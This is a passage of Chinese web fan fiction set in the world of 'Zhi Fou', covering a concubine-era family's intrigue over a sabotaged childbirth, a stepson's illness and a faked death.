小秦氏心里冷笑道:“既然哥哥嫂嫂你们不仁,也不要怪我这个当妹妹的不义了,白滢婷啊!白滢婷,谁叫你嫁谁不好要嫁顾偃开呢,顾偃开,我的好姐夫,你也别怪我,这是你欠我们秦家的,当初你明知道我姐姐那身子骨并非是当任宗妇的人选,但你还是为了追求真爱逼着顾侯夫妇为自己求娶她,又为了避免她承受婆媳冲突与生子的压力,而向陛下请戍边,带着她远赴外地任职,瞧着你是爱她爱到情深不能自拔,可是你明知她身子骨柔弱,却不阻止她为你生子,造成她身体更加虚弱,而后又为顾家的祸事放不下手,不愿放弃顾府爵位,对你父母产生了用你的婚姻来交换银钱,让顾家度过难关的想法保持沉默,才会让姐姐听到,导致姐姐一命呜呼,你欠我们秦家一条命,姐姐啊!你既然选择了成为顾家宗妇就应该有个宗妇的样子,为什么要和顾侯夫人这个婆婆对着干啊!就是因为你让秦家姑娘名声受损,才导致我至今未能嫁人,那就不要怪我利用煜儿了。” 小秦氏这样想着,也着手实施起了针对白滢婷的计划,起初她是想找邱小娘的,但是邱小娘如今已有一个女儿,再加上白滢婷背后站着盛瑾,又有顾侯夫妇撑腰,邱小娘没那个胆子帮她害白滢婷,于是她便将主意打到了顾廷煜身边秦大娘子留下的人手身上,接着就出现了那日白滢婷难产的事情,她的回忆也到此结束了。 小秦氏看着自己的贴身丫鬟,脸上浮现出一抹冷笑,道:“怎么不可能,我亲耳听到的,难不成还有假嘛,与其让他们动手,我还不如先出手。” 小秦氏的贴身丫鬟眼中闪过一丝疑惑,道:“可是姑娘你为什么要这么做啊!难不成姑娘你真想嫁给二姑娘的夫婿不成,可若是白大娘子真的出事了,那盛家不可能会放过顾家的,到时候顾家光应付盛家就要精疲力尽了,哪还有闲情逸致续弦呢?” 小秦氏眼中闪过一丝嘲讽,道:“他顾偃开又不是什么香锅锅,只不过是站着一个宁远侯府嫡长子的位置罢了,我也不是非要嫁给他,我要的是顾盛两家反目成仇,就算那盛国公夫妇发现是我干的,他们又能拿我怎么样,有什么证据说我害白滢婷难产嘛,妇人生产的事情谁能猜的到,再说了,这件事情本来就是他顾偃开给了我可乘之机,到时候盛家的怒火是先冲向顾家,然后才是秦家,反正我那一对哥哥嫂嫂想着把我卖了,给东昌伯爵府换取利益,那我又为什么要为秦家乃至他们考虑呢,大不了鱼死网破。” 小秦氏的贴身丫鬟看着她这个样子,有些害怕道:“姑娘,可现在白大娘子无事,顾侯夫人上门就证明了顾盛两家都知道姑娘所为了,姑娘你会不会有事啊!” 小秦氏听着丫鬟的话,沉默了一会儿,回忆起刚刚秦伯爷夫妇的态度,缓缓开口道:“我瞧着那白滢婷待煜儿的样子,不是什么能使得出狠招的人,而且细细想想我哥哥 第 24 章 《知否盛老太太的双生子》全本免费阅读 清晨,白老爷紧赶慢赶的从扬州城来到了汴州城,他一进汴州城就往丰国公府赶,真是一刻也不愿意再等啊! 慕卿云见到白老爷也没有过多聊些什么,她知道白老爷思女心切,便直接将白老爷带到了白滢婷的院子,她则悄然离去,给白滢婷和白老爷父女二人留下独处的空间。 白老爷一见到白滢婷,看着白滢婷有些虚弱的身子,一时之间无法言喻,只能站在原地看着白滢婷,而白滢婷看到风尘仆仆赶来的白老爷一动不动的站在原地时,她不想让白老爷过多内疚,嘴角微微弯起,硬是扯出一个笑脸,道:“爹爹,你来了。”除了这一句话,她也不知道此时此刻该和白老爷说些什么。 白老爷瞧着白滢婷这个样子,眼中闪过一丝心疼,走上前去,一把抱着白滢婷,眼眶有些微红,喃喃道:“对不起,是爹对不起你,让你入了这虎狼窝啊!” 白滢婷听到这句话时,心里已经压下去的委屈又涌了上来,她带着点哭腔,微微的摇了摇头,语气中带着一丝安抚,道:“不,爹,你没有对不起我,我知道爹是为了我好,而且顾家也不是什么虎狼窝,为着哥哥嫂嫂顾家的人或是下人都没有为难过我,这次的事情全都是我自己不自量力,忘了感情一事强求不得,才造成如今这般局面的。” 白滢婷说的不假,顾侯夫妇因着盛瑾和慕卿云,在白滢婷嫁入之前多次敲打了顾府的下人和主子,白滢婷有了顾府最大的两个主子撑腰,自然没人敢在顾府给白滢婷难看,再加上白滢婷自从嫁入顾府后,大把大把银子砸下去,顾府的下人大多会恭维着白滢婷,就连东昌伯爵府秦家人在得知了白滢婷是盛瑾和慕卿云疼爱的义妹后,每每上门都对白滢婷客客气气的,当然,还有一层原因是他们每次上门离开,白滢婷都会给他们准备丰厚的回礼。 白老爷就这样和白滢婷抱了好久,才恋恋不舍的分开,他看着白滢婷,眼神中闪过一丝庆幸,道:“这次的事情多亏了你哥哥嫂嫂,要不然啊!我恐怕都见不到婷儿你了。” 白滢婷听到白老爷提起盛瑾和慕卿云,眼中闪过一丝感动和内疚,道:“是啊!多亏了哥哥嫂嫂,要不是他们在,我不可能平安生下孩子,都是我没本事,要不然也不用劳烦嫂嫂拖着虚弱的身子为我料理这些个破事。” 白滢婷看着白老爷脸上疑惑的神情,才想起他并不知道小秦氏与她难产有关联之事,于是她将这些事情叙述了一遍后,白老爷脸上浮现出愤怒的表情,道:“他们秦家还是高门大户呢,怎么教养出如此歹毒的姑娘,我们白家是欠他们秦家的嘛,谁知道顾家当初打的是休妻另娶的想法,要是知道,我铁定不会同意这门亲事的。” 白老爷是扬州城有名的盐商,他见过或是听过的腌臜事不知道有多少,顾家若是能干出休妻另娶的事情,难保他们不会再干出贬妻为妾这种荒唐事情,毕竟以顾偃开对大秦氏一往情深的样子,若是大秦氏还活着,他很有可能前脚将白滢婷娶进门,后脚贬妻为妾再迎娶大秦氏。 白老爷一想到这里,心里止不住的发凉,若是顾家真这么做了,自己又没有盛瑾这个国公爷义子,他拿什么去和侯府斗,白滢婷在侯府为妾,他们顾家拿捏着白滢婷,他又怎么敢和顾家硬碰硬。 白老爷深深地觉得当初他太高估顾偃开的品行了,主要是他被顾偃开对已逝的大秦氏情深义重和侯府大娘子的名号糊了眼。 白老爷看着白滢婷,眼中闪过一丝内疚,道:“是爹爹的错,被侯府大娘子这个体面的身份糊了眼,要是知道他顾偃开爱秦大娘子爱成这样,说什么我也不能将你嫁给他,这次多亏了你哥哥嫂嫂,不过,婷儿,秦家那位姑娘做出如此歹毒之事,你们就让她这么嫁人了嘛。” 白滢婷眼中闪过一丝无奈,道:“那能怎么办,杀了她嘛,我到底下不去这个手,再者,我虽然难产,但到底和孩子都平安无事,她是东昌伯爵府嫡幼女,就算东昌伯爵府再怎么没落了,瘦死的骆驼比马大,破船还有三千钉呢,若真去和东昌伯爵府硬碰硬,谁都讨不得好,而且东昌伯爵府到底是煜儿的外家,秦大娘子的娘家,与顾家又有通家之好,我若是真这么干了,那顾偃开和煜儿乃至顾家人的面上都不好看,我的孩子还要在顾家生活呢,我可以和顾家人闹得难看,可孩子呢,他们到底姓顾啊!我怎么舍得让他们在我和顾家人之间为难呢。” 白滢婷看着有些不甘心的白老爷,语气中带着一丝安抚,轻声细语道:“爹爹,前些日子,秦伯爷夫妇亲自登门给我赔礼道歉,并给了我一万两银子作为补偿,这对于现在的东昌伯爵府而言已经很有诚意了,而且他们还告诉我,那位秦家姑娘已经定了一位正八品国子博士,不到两个月她就要成亲,等她成亲后不久,便会随着她这位夫婿一同外放,堂堂一个伯爵府嫡幼女再怎么低嫁一般也不会低嫁到这种程度,显然他们是为了平息哥哥嫂嫂的怒火,这已经很好了。” 白滢婷见着白老爷的脸色有些缓和,继续道:“顾侯爷也发话了,到时候侯府分家,除去顾府祖产和功勋田外,顾偃开占五成,之后他也会让顾偃开立下字据,将来顾偃开分家时,除去顾府祖产和功勋田以及顾家姑娘们的一份嫁妆外,若是有庶子,那庶子们平分一成,其余的嫡子们均分,顾侯夫人也说了回去就将顾家的掌家之权交给我,而且他们也同意哥哥嫂嫂塞人手进顾府给我用。” 白老爷没想到盛瑾和慕卿云可以为白滢婷做到这种地步,他自知若是没有盛瑾和慕卿云插手,顾侯夫妇不会这么快解决这些事情,秦家更不会亲自登门道歉并做到这种程度,他感慨道:“我没想到你哥哥嫂嫂能为了护着你做到这种地步啊!就算比起亲哥哥嫂嫂也不差在哪了,爹爹这辈子做过最正确的事情就是认了瑾儿为义子,让你有了如此疼爱你的哥哥嫂嫂,我的婷儿以后算没有了爹爹也会有一个强有力的娘家可以依靠,这次,爹爹是真的可以放心了。” 白老爷说到这里,摸着白滢婷的头发,眼中闪过一丝欣慰和心疼,道:“婷儿,你长大了,如今有了一个该有的侯府大娘子样子,既然你都这么说了,我便不在揪着这件事情了,说到底都是爹爹的错,是爹爹没调查清楚顾家和秦大娘子的情况,才会让你受此委屈,若是早知道顾偃开会将秦大娘子的死怪罪到你身上,说什么我都不会将你嫁进顾家的。” 白老爷说到这里,眼中闪过一丝对顾偃开的厌恶,道:“我原以为顾偃开对秦大娘子那么情深义重的,想来是个人品端正的,可以托付女儿的人,谁曾想他竟然这般,这般懦弱,不敢将怨气发泄在自己亲人身上,便埋怨起你来,也不想想我们白家一个商贾门户还能拿着刀逼他一个侯府嫡长子娶你嘛,我给足了银子,他居然还这么对你,就这样还是一个侯府嫡长子呢,我当初怎么瞎了眼就觉得他顾偃开是个好的。” 白滢婷看着白老爷气愤的样子,安抚道:“爹爹,我也算是从鬼门关走了一遭了,现下想想若是不执着于顾偃开的感情,我在顾家的日子还是不错的,顾侯夫妇为着哥哥不会为难我,顾家其他人因着顾侯夫妇的态度也不敢对我怎么样。” 白滢婷看着白老爷,语气中带着一丝豁达,道:“既然他顾偃开的心思全在前头那个秦大娘子身上,我也就不再惦念他那点感情了,活人争不过死人这个道理我还是懂的,更何况顾偃开和我之间还隔着一个秦大娘子的死,这在他顾偃开的心里是永远过不去的坎,现在我也想好了,从今往后,我就守着三个孩子过日子了,至于顾偃开他乐意守着秦大娘子的牌位过日子就过吧,我这些日子对他已经彻底死心了。” 白老爷听着白滢婷的话,眼神中闪过一丝怀疑,道:“婷儿,你真的能放下顾偃开守着孩子们过日子嘛。”毕竟白滢婷对顾偃开的感情执着了将近三年,他不相信白滢婷在这段时间里就彻底放下顾偃开了。 白滢婷脸上浮现一抹苦笑,果断道:“爹爹,不放下他,我又有什么办法呢,三年了,都三年了,我就算是捂块石头也该捂热了,可那顾偃开呢,我用了三年换不来他的一丝感情和信任,就连那日我怀着孩子质问他时,他都在认为我胡闹,从未想过正面回答我这些问题,可见他的心是捂不热的,这些日子瞧着嫂嫂为我的事情虚弱了不少,我突然发觉为了一个这样的人,让在乎我的人受伤实在是不值得,我有孩子、哥哥、嫂嫂、爹爹、侄子乃至未来的孙子孙女,我不能为了他顾偃开一个人活着的,我尽力了,也该放下了。” 白老爷摸着白滢婷的手,道:“你能这么想就好,爹爹听到你这么说,心里放心多了,我们就在顾家好好过日子,索性啊!这次的事情是他们顾家和秦家的错,再加上你哥哥嫂嫂给你撑了腰,顾侯夫妇理亏,便会对你更好,秦家更不敢在顾偃开那个嫡长子面前说你什么不好的,好好培养孩子,以后日子不会差到哪去的。” 白滢婷脸上带着淡淡的笑容,道:“爹爹你放宽心吧,我有银子和哥哥嫂嫂的撑腰,在顾家的日子不会难过的,顺便让顾偃开看看,即使没有他,我也可以过好日子。” 白老爷看着白滢婷的样子,知道她是真的下定决心放下顾偃开了,随即搂住白滢婷,轻声道:“爹爹相信你一定可以的。”< 第 25 章 《知否盛老太太的双生子》全本免费阅读 清晨,宁远侯府白滢婷的院子中,白滢婷正在一边逗着自己怀里的小儿子顾廷炜,一边想道:“也不知爹爹现下在丰国公府和轩轩相处的怎么样了,不过轩轩聪慧可爱,爹爹定会十分喜爱轩轩的。”顾廷炜这个名字是白滢婷带孩子回到宁远侯府几天后,顾偃开给孩子起的名字。 白滢婷正想着白老爷和盛长轩时,一个丫鬟突然跑了进来,对着她拱了拱手,满脸焦急,上气不接下气道:“大娘子,煜哥儿,煜哥儿那边不好了。” 白滢婷闻言,将怀中的顾廷炜交给身旁的常嬷嬷后,对着那个丫鬟厉声呵斥道:“住口,什么煜哥儿不好了,你给我好好说话,煜哥儿那边怎么了。” 那位丫鬟见白滢婷这样,缓和了一下焦急的情绪,脑海中组织了一下语言,道:“煜哥儿不知道怎么了,今天身子有些不舒服,想要进去休息一下,哪成想没过一会儿便高烧不止,府中的郎中也找不出原因,只能让奴婢来找大娘子了。” 白滢婷听完这位丫鬟的话,瞬间站了起来,对着常嬷嬷道:“奶娘,你先照顾炜儿,我去一趟煜儿那里。” 常嬷嬷接过顾廷炜,脸上的表情没有任何变化,道:“姑娘,你放心吧,炜哥儿这里有我看着呢,煜哥儿那边要紧,你快去吧。” 白滢婷带着上次难产时去丰国公府报信的丫鬟盼夏随这位丫鬟一同前往顾廷煜的院子,她们几乎是用跑的速度来走,不一会儿,白滢婷就来到了顾廷煜的院子。 白滢婷一进院子就让下人找来了郎中询问,这位郎中是白滢婷特意为顾廷煜找的,医术在汴州城也排的上号的,她以每月七十两的高薪请这位郎中专门在顾廷煜的院中照顾他的身子。 白滢婷听完郎中的话,当即派人去找顾偃开,让他去宫里请太医来给顾廷煜治病,又请这位郎中尽量给顾廷煜降温,不然,太医还没到,顾廷煜就算没被高烧烧死也极有可能被高烧烧成傻子了。 白滢婷安排完这些事情,便进入了顾廷煜的房间,她看着床上虚弱的顾廷煜,心里泛起了一丝心疼。 白滢婷回想起那天她带着顾廷炜回到宁远侯府,顾偃开带着顾廷煜在她院中亲自迎接,她不知道顾偃开与顾廷煜说了什么,那时顾廷煜看着她和她怀中的顾廷炜的眼神中充满了愧疚与一丝小心翼翼,在接下来的日子中,顾廷煜时常都会来她的院中请安,或是陪顾廷烨玩耍。 白滢婷扪心自问,她与盛瑾他们说会一如既往的待顾廷煜,但当她看到顾廷煜时,心中还是会有一丝芥蒂,她无法向自己之前说的那样心无芥蒂的对待顾廷煜,尽管她对待顾廷煜的行为举止和之前一样,但是心情早已没有当初那般热情了,她只能不断的对自己说,这是一个无辜的孩子,自己在顾家发生的一切事情与他无关。 白滢婷想到这里,来到床边,伸手摸了摸顾廷煜的小脸蛋,她想到当初她还未嫁给顾偃开时,便知道顾廷煜的存在。 那时的白滢婷怜惜顾廷煜与她一样年幼丧母,想着等她嫁给顾偃开后,一定会将顾廷煜当做自己亲生孩子一般对待,事实证明了她做到这一点了,可自从她知道顾偃开将她看成杀死大秦氏的凶手以及她难产事情中有小秦氏的手笔后,她对顾廷煜这个孩子的心情是十分复杂的,也许顾廷煜也感觉到了她的情绪,所以在一段时期后便不再去她的院中了。 白滢婷正在神游时,顾廷煜突然缓慢的睁开眼睛,他看到白滢婷在他床前,有气无力道:“母亲,你怎么来了,煜儿没有什么事情的。” 顾廷煜本来对白滢婷就有好感,可是白滢婷怀顾廷炜后的某天开始,便有人时常在他耳边说,白滢婷是他的杀母仇人,小小年纪的他,无法分辨真伪,那段时间里,他看向白滢婷的眼中有了一丝防备和仇恨,等他还没有完全仇视白滢婷时,白滢婷便突然难产,紧接着被盛瑾接回了丰国公府。 顾廷煜觉得他应该开心才是,可是他却开始思念白滢婷,直到那天他的父亲告诉他,白滢婷是无辜的,他母亲的死是一个意外与他人无关后,他心里充满了庆幸和羞愧,当他放下了自己的仇恨和白滢婷相处时,他可以感受到白滢婷对他和之前有些许不一样了,那是他说不出来的感觉,为了让白滢婷好受些,他便减少了在白滢婷面前出现的次数,他没想到白滢婷会因为他生病而出现在他面前,这让他心里泛起了一阵喜悦。 白滢婷听到顾廷煜的话,回过神来看向他,他的眼神中充满了惊喜,她的心里泛起一阵酸涩,轻声道:“都烧成这样了,怎么可能没事,煜儿别说太多话,好好休息,母亲已经让小厮去找你父亲了,要不了多久,他便会带太医回来的,莫说话了,母亲就在这里陪着你。” 顾廷煜闻言,也没有再说什么,看了白滢婷一会儿,有些不舍的闭上眼睛休息,过了一会儿,郎中进来努力给顾廷煜降温,而白滢婷则在一旁看着顾廷煜。 过了许久,顾偃开带着一位太医气喘吁吁的冲进了顾廷煜的院中,他看到白滢婷在此,眼中闪过一丝惊讶,毕竟白滢婷自从回到宁远侯府后便极少来到顾廷煜的院子,可是他也来不及多想什么,便让这位太医给顾廷煜诊断治疗。 等这位太医给顾廷煜诊断完,写药房交给顾偃开,让人抓药去,不一会儿,一名小厮回来说道:“公子,还缺了一位药材百年人参没找到。” 顾偃开听到这话,一脸焦急道:“怎么可能没有百年人参呢,百年人参虽然珍贵,但也没有到达稀缺的地步啊!” 那名小厮盯着顾偃开的压迫感,战战兢兢道:“公子,我们跑遍了汴州城的各大医馆,他们说百年人参虽然不稀缺,但也没有多到哪里去,这段时间刚好缺货。” 白滢婷站在一旁听着小厮的回话,她突然想到了盛瑾和慕卿云给她准备嫁妆时,可不只有金银珠宝衣裳首饰布匹这些个用的东西,还有七箱药材香料,其中好像有一对百年人参,上次她生产时,常嬷嬷让人给她用了一片。 白滢婷对着身旁的盼夏,直接开口道:“盼夏,你去找常嬷嬷,让她去将我的库房中的人参都拿来,快去快回。” 顾偃开还没有从白滢婷的话中反应过来时,盼夏已经开始朝着白滢婷的院子跑去了,过了一会儿,便看到盼夏拿着一个盒子跑了回来,交给白滢婷。 白滢婷拿着盒子看也不看顾偃开,直接走向那位太医,语气柔和道:“太医,你看看我这人参能不能用。” 这位太医接过盒子打开,看着里面的人参,不经称奇,道:“大娘子这人参真是好啊!瞧着这人参至少在七百年以上,在百年人参里算得上上品了,就连我也嫌少见过这样好的人参,有了这人参,我又添了几分把握了,如果贵府公子一直用的是这种程度的药材,活个四五十年还是可以的,但是子嗣方面我没有法子。” 这位太医说到这里,从里面取出之前白滢婷用过的那个人参剩下的部分,将盒子盖上还给白滢婷,道:“大娘子,这些就足够贵府公子用了,剩下这根人参你收好,我这就去熬药,这种好药材可不能让别人动手糟蹋了。” 白滢婷听到这位太医这么说,心里放心一些了,她眼神中闪过一丝坚定,语气柔和道:“那就麻烦太医了。” 这位太医闻言,直接开口道:“大娘子不用如此客气。”说完,他就去熬药了,而顾偃开心里则是一片震惊,他从没想过白滢婷的嫁妆里的药材如此的珍贵。 顾偃开的内心十分挣扎,他想从盛瑾那拿药材给顾廷煜用,可是白滢婷发生那件事情后,他实在是没脸和盛瑾乃至白滢婷开口,过了好一会儿,他的目光看向白滢婷,语气中带着一丝僵硬,道:“这次煜儿的病,劳累大娘子了。”最终他还是无法向白滢婷开这个口,只能过后让下人尽力去寻找了。 白滢婷看了一眼顾偃开,脸上的表情没有丝毫变化,道:“你不用和我说什么感谢的话,煜儿也是我儿子,我自然会照顾好他。” 顾偃开闻言也没有在说什么,毕竟白滢婷从丰国公府回到宁远侯府后,对他的态度急转直下,丝毫没有当初那般热情了。 等太医将汤药端上来时,白滢婷先顾偃开一步接过汤药,坐在顾廷煜床边,轻声道:“煜儿起来一下,母亲给你喂药,我们喝完药再睡。” 顾廷煜闻言,睁开眼睛,看到眼前的白滢婷和顾偃开,有气无力道:“父亲,你什么时候来的呢?” 顾偃开听到顾廷煜的话,开口道:“回来没多久,你别管这些小事了,听你母亲的话,喝药休息,你如今最重要的事情就是养好身子。” 白滢婷看都没看顾偃开,目光始终在顾廷煜身上,轻声细语道:“你父亲说的是,别管这些无关紧要的事情了,来喝药。”说着,她便一勺一勺喂顾廷煜喝药。 顾廷煜一边喝着药,一边想着白滢婷和顾偃开的相处气氛,他虽然是个孩子,但他看的出来白滢婷对待顾偃开的态度没有之前那样好了,他若是再大些就会知道顾偃开和白滢婷如今的相处模式,没有任何情感,相互客客气气的。 等白滢婷喂完顾廷煜汤药后,她让顾廷煜好好休息,接着便出去找那位太医细细询问一番顾廷煜的病情原因了。 顾廷煜看着白滢婷离去的背影,眼中闪过一丝不舍和失落,过了一会儿,他才看向顾偃开,有气无力道:“是我没用,让父亲母亲担心了。” 顾偃开上前,摸着顾廷煜的头,说道:“没事就好了,别想这么多了,好好休息才是好的,这次多亏了你母亲,要不是她及时赶到让人给降温,又提供药材,你恐怕还要折腾好久呢,等你好了,要记得感谢她,知道吗?” 顾廷煜脸上出现了震惊的表情,他还以为白滢婷对他有意见呢,没想到白滢婷居然会这么关心他,小小的他即使是再着么聪慧过人,也无法了解白滢婷复杂的心情,他想着也许正如父亲以前所说的,等他长大了也就知道了吧,只是他不知道长大后得知的真相会让他更加难受。 顾廷煜眼中闪过一丝欢喜,道:“我知道了,等我好了,就去感谢母亲的。”此时此刻的他只想着等着自己好了,去给白滢婷道谢。 顾偃开看着顾廷煜睡下后,才慢慢的退出房门,等他出了院子,才发现白滢婷在院外训斥着照顾顾廷煜的丫鬟小厮。 原来白滢婷出了顾廷煜的房间,就直接去找到了那位太医,了解到顾廷煜的病因后,给人封了五百两的红包,让盼夏好生送这位太医离开,接着便有了顾偃开看到白滢婷训斥下人的场景了。 白滢婷看着眼前这些丫鬟小厮,冷声道:“别和我说什么,你们刚来照顾哥儿没多久,不熟悉哥儿的身子状况,才会让哥儿遭此病痛,这些都是借口,煜儿的身子骨弱是满顾府都知道的事情,既然被调到这里来照顾煜儿就应该打起十二分精神,太医都说了,煜儿是气虚,又着了凉才引发的高烧。” 白滢婷说到这里,眼神中闪过一丝寒光,道:“这次事情,我就只罚你们一个月月例,若是还有下次,你们就不用再在府中待了,顾家有的是庄子田地需要人去耕种。” 顾偃开看着眼前为顾廷煜训斥丫鬟小厮的白滢婷,他的心里泛起了一丝愧疚,他不得不承认顾侯夫妇所说的话,他找不到比白滢婷待顾廷煜更好的继室了,即使白滢婷知道她难产的真相,即使她对顾廷煜有了一丝芥蒂,但是她仍然在乎顾廷煜,会为顾廷煜出面训斥丫鬟小厮,会在乎顾廷煜的身子,顾偃开就这样站在原地好一会儿才离去。 次日,宁远侯府四房太太的院子内,五房太太眼中闪过一丝幸灾乐祸,道:“四嫂嫂,昨晚大房那边好像出什么事情了,瞧那动静可不是一般大啊!” 四房太太看着五房太太这副样子,皱了皱眉头,随即又恢复原样,一脸平静的敷衍道:“五弟妹还能什么事情呢,无非是煜哥儿又发病了,还能咋样。” 五房太太闻言,脸上洋装一副关心的样子,道:“煜哥儿这身子骨真是随了前头那位,家中如此精心照顾,竟然还这般体弱多病,瞧着这以后恐怕子嗣也艰难啊!” 五房太太说到这里,好似在暗示什么一般,接着洋装无意,道:“不过话又说回来了,平日里瞧着大嫂嫂又是请郎中,又是收集贵重药材,为了煜哥儿大把大把掏银子,说是待如亲子也不为过了,可现下瞧着怕是对煜哥儿也没有多少关心吧,要不然,煜哥儿能病得这么重嘛,听说这次还特意请了太医过来,说来也是,自个有了两个亲生儿子,那还能将体弱多病的继子放在心上啊!” 四房太太眼中闪过一丝精光,脸上的表情没有丝毫变化,道:“瞧你这话说的,我们都知道煜哥儿的身子骨是打娘胎出生起就弱的,这先天不足的体弱多病,哪是后天能轻易养好的,而且这些年多亏大嫂嫂砸银子般的给煜哥儿养身子,方才将煜哥儿的身子养好些,再说了,大嫂嫂都将嫁妆中的贵重药材拿出来给煜哥儿用,在对待煜哥儿这一块,大嫂嫂这个后娘可算得上是问心无愧了。” 五房太太听到四房太 第 26 章 《知否盛老太太的双生子》全本免费阅读 清晨,丰国公府内,慕卿云与盛瑾正商讨着她假死的事情,只见慕卿云开口道:“公子,是时候让我假死了。” 盛瑾眼中闪过一丝惊讶,道:“这么快嘛,婷儿的事情才刚解决不久,若是你现下出事了,我怕婷儿会多想。” 慕卿云面色不变的开口解释道:“不能在等下去了,小公子如今也三岁了,不知公子你有没有发现,小公子比寻常孩子要聪明许多,小公子百日时便能清楚的认得哪个是公子,哪个是我,哪个是婷儿以及一些照顾他的人,等小公子一岁多时便能向他人清楚地表达出自己的意识,告诉人们自己要做什么,我怕再过一段时间假死会给小公子带来阴影,至于婷儿,她如今身子已经大好,又有顾廷烨和顾廷炜两个孩子在,到时候我再给她留封信件,我相信她能撑得过去的。” 盛瑾沉思了一会儿,慕卿云说的他都知道,而且白滢婷也曾对他说道:“轩轩不仅长相随了哥哥,这聪慧劲儿也随了哥哥,未来肯定又是一个状元郎。” 当时盛瑾对于此话虽然面上笑笑,看似不在意,但私底下他还是特意去问了一下雷诺,得到的答复是生子蛋孵化出来的孩子都会展现出和别的小孩不一样的聪明,而且慕卿云说的也不无道理,过了一会儿,他点了点头,算是同意慕卿云的想法,于是他们商讨起了方案,没过多久,丰国公府就传来了慕卿云去世的消息。 宁远侯府白滢婷的院子中,白滢婷在得知这个消息时,她瞳孔微微睁大,后退了几步,满脸不可置信,道:“这不可能,这不可能,嫂嫂不会的,嫂嫂怎么会离世呢,明明我离开时嫂嫂还好好的,这才几天啊!” 常嬷嬷见状,生怕白滢婷摔倒,急忙上前扶住白滢婷,道:“姑娘,你可不能有事啊!当务之急是了解清楚国公夫人到底为什么会去世啊!而且国公爷那边现下怕是也不好受啊!这时候你要有个什么三长两短的,国公爷那边就真的撑不下去了啊!” 白滢婷闻言,急忙抓着常嬷嬷的手,道:“对,奶娘,你说的对,快,快让人备马车,我现在就要去丰国公府,快去啊!” 白滢婷身边的丫鬟闻言急忙去给白滢婷备马车,另一边顾侯夫人在白滢婷风风火火出门后也得知了慕卿云去世的消息,感叹道:“可惜了,盛国公夫人这么好的人居然英年早逝了,也不知道盛国公那里受不受得住啊!”随即又吩咐顾府下人这些天管好自己的嘴,莫要惹白滢婷伤心。 白滢婷很快就坐着马车来到了丰国公府,一进门就看见了丰国公府的白布,她瞬间泪流满面,抓着迎接她的管家,道:“这到底是怎么回事,我离开时,嫂嫂不是还好好的嘛,为什么如今却是阴阳两隔了。” 管家满脸悲伤,道:“姑娘,大娘子当年生轩哥儿时伤了身子,虽然被救了回来,但身子骨更弱了,郎中当年就说大娘子恐怕只能再活个两三年,为着轩哥儿和主君,大娘子才撑到了如今,先前大娘子和主君怕姑娘你担心才瞒着你的。” 白滢婷犹如晴天霹雳一般,待在原地久久不能回神,过了好一会儿,她才哽咽道:“哥哥呢?哥哥现在在哪呢?” 管家闻言,眼中闪过一丝担忧,道:“主君在大娘子去世时悲伤过度晕过去了,现下还在床上起不来呢,陛下派了太医过来,说是伤心欲绝,导致的心力憔悴,需要好好修养一阵子,主君现下在床修养呢。” 盛瑾在慕卿云去世的当天就病倒了,为此一直关注盛瑾的皇帝立马得知了慕卿云去世和盛瑾病倒的消息,于是皇帝离开派出了太医给盛瑾诊断,随后又给盛瑾批了一个月的假,明眼人都能看出皇帝对盛瑾的重视,只是盛瑾没想到皇帝会如此重视他,以至于慕卿云去世这件事在汴州城好像闹得挺大的,一时之间汴州城不少大户人家都派人来丰国公府附近打探消息,想知道盛瑾怎么样了。 白滢婷听到管家这么说,压下自己内心的悲伤,急忙赶往盛瑾的房间,她一进房间就看到盛瑾一脸苍白的躺在床上,怀里搂着三岁的盛长轩。 白滢婷瞬间被这样的场景吓到了,她从未见过盛瑾这个样子,仿佛随时都会消失一样,她一下子跑过去抓住盛瑾的手,声音有些颤抖,道:“哥哥你没事吧。” 盛瑾并不是不想回白滢婷的话,虽然他是通过易远的丹药装出来的病,但身子变得虚弱是真的,再者,他还要装得伤心过度的样子,自然不能这么快回复白滢婷。 白滢婷看到盛瑾没有说话,眼眶一下子红了,好像怕盛瑾听不到一样,大声说道:“哥哥你别吓我,婷儿害怕,你不要这样,你想想轩轩,那是嫂嫂拼命生下来的孩子,他还这么小,不能没有了母亲,又没有了父亲,你想想我和父亲,我们也不能没有你,你要出了事,父亲会受不住的,还有烨哥儿,你不是说过等他大一点,要教他读书习字的吗?哥哥,婷儿已经失去嫂嫂了,我承受不了再失去你啊!” 盛瑾看到白滢婷被他吓到了,便扯出一个笑容,安抚道:“婷儿不怕,不怕,哥哥没事的。” 白滢婷死死地盯着盛瑾,生怕一个不注意,人就没有,眼中闪过一丝不信任,道,“哥哥,你真的没事吗?” 盛瑾看着白滢婷,有气无力道:“真的没事,你放心吧,我还有轩轩呢,正如你说的,哪能让孩子没了母亲又没父亲呢,放心吧,陛下派太医来看过了,只是伤心过度,好好调养便好。” 盛瑾不知道白滢婷已经从管家哪里得知了陛下派太医的事情,便想以此来让白滢婷安心,显然白滢婷也猜出了盛瑾的想法,看了盛瑾好一会儿,如盛瑾所愿,她选择了相信盛瑾的话,只是她提出了要留在丰国公府,帮盛瑾料理慕卿云的后事,盛瑾自然是答应下来了,而宁远侯府那边,顾侯夫妇接到白滢婷的消息自然也是同意的,毕竟慕卿云待白滢婷极好,白滢婷送她最后一程也是应该的,为此顾府那边还传来消息,表示有事需要帮忙尽管提,他们一定尽力帮忙。 白滢婷忍着悲伤在丰国公府忙里忙外的操持着慕卿云的后事,直到她将这些事情办完,送慕卿云最后一程后,才在自己院中抱着常嬷嬷,满脸悲伤,道:“奶娘,为什么,为什么嫂嫂这么好的一个人,就这么走了,她和哥哥这么恩爱,她怎么舍得留下哥哥和孩子独自一人离开啊!没想到当初炜哥儿的百日宴竟然是我与嫂嫂最后一面。” 白滢婷说到这里,眼泪止不住的流了下来,眼中闪过一丝自责道:“奶娘,你说会不会因为我的事情才导致嫂嫂过早离世呢,若不是我不争气,让嫂嫂顶着个虚弱身子为我操劳,她或许就不会这么早的离开哥哥了。” 常嬷嬷闻言,急忙道:“姑娘莫要这么想,府中管家不是早就说过了嘛,国公夫人那身子骨撑不了多少年的,哪里是因为你的事情才离世的,姑娘莫要这么想,国公夫人那么疼你,若是她知道了你这种想法,必定会为你担忧的,再者,国公爷和轩哥儿正是需要你的时候,你可不能这样自责忧虑,若是因此病倒了,那谁来照顾国公爷和轩哥儿啊!轩哥儿可是国公夫人唯一的孩子啊!姑娘,如今轩哥儿没了母亲,你这个当姑姑的可得想着他啊!” 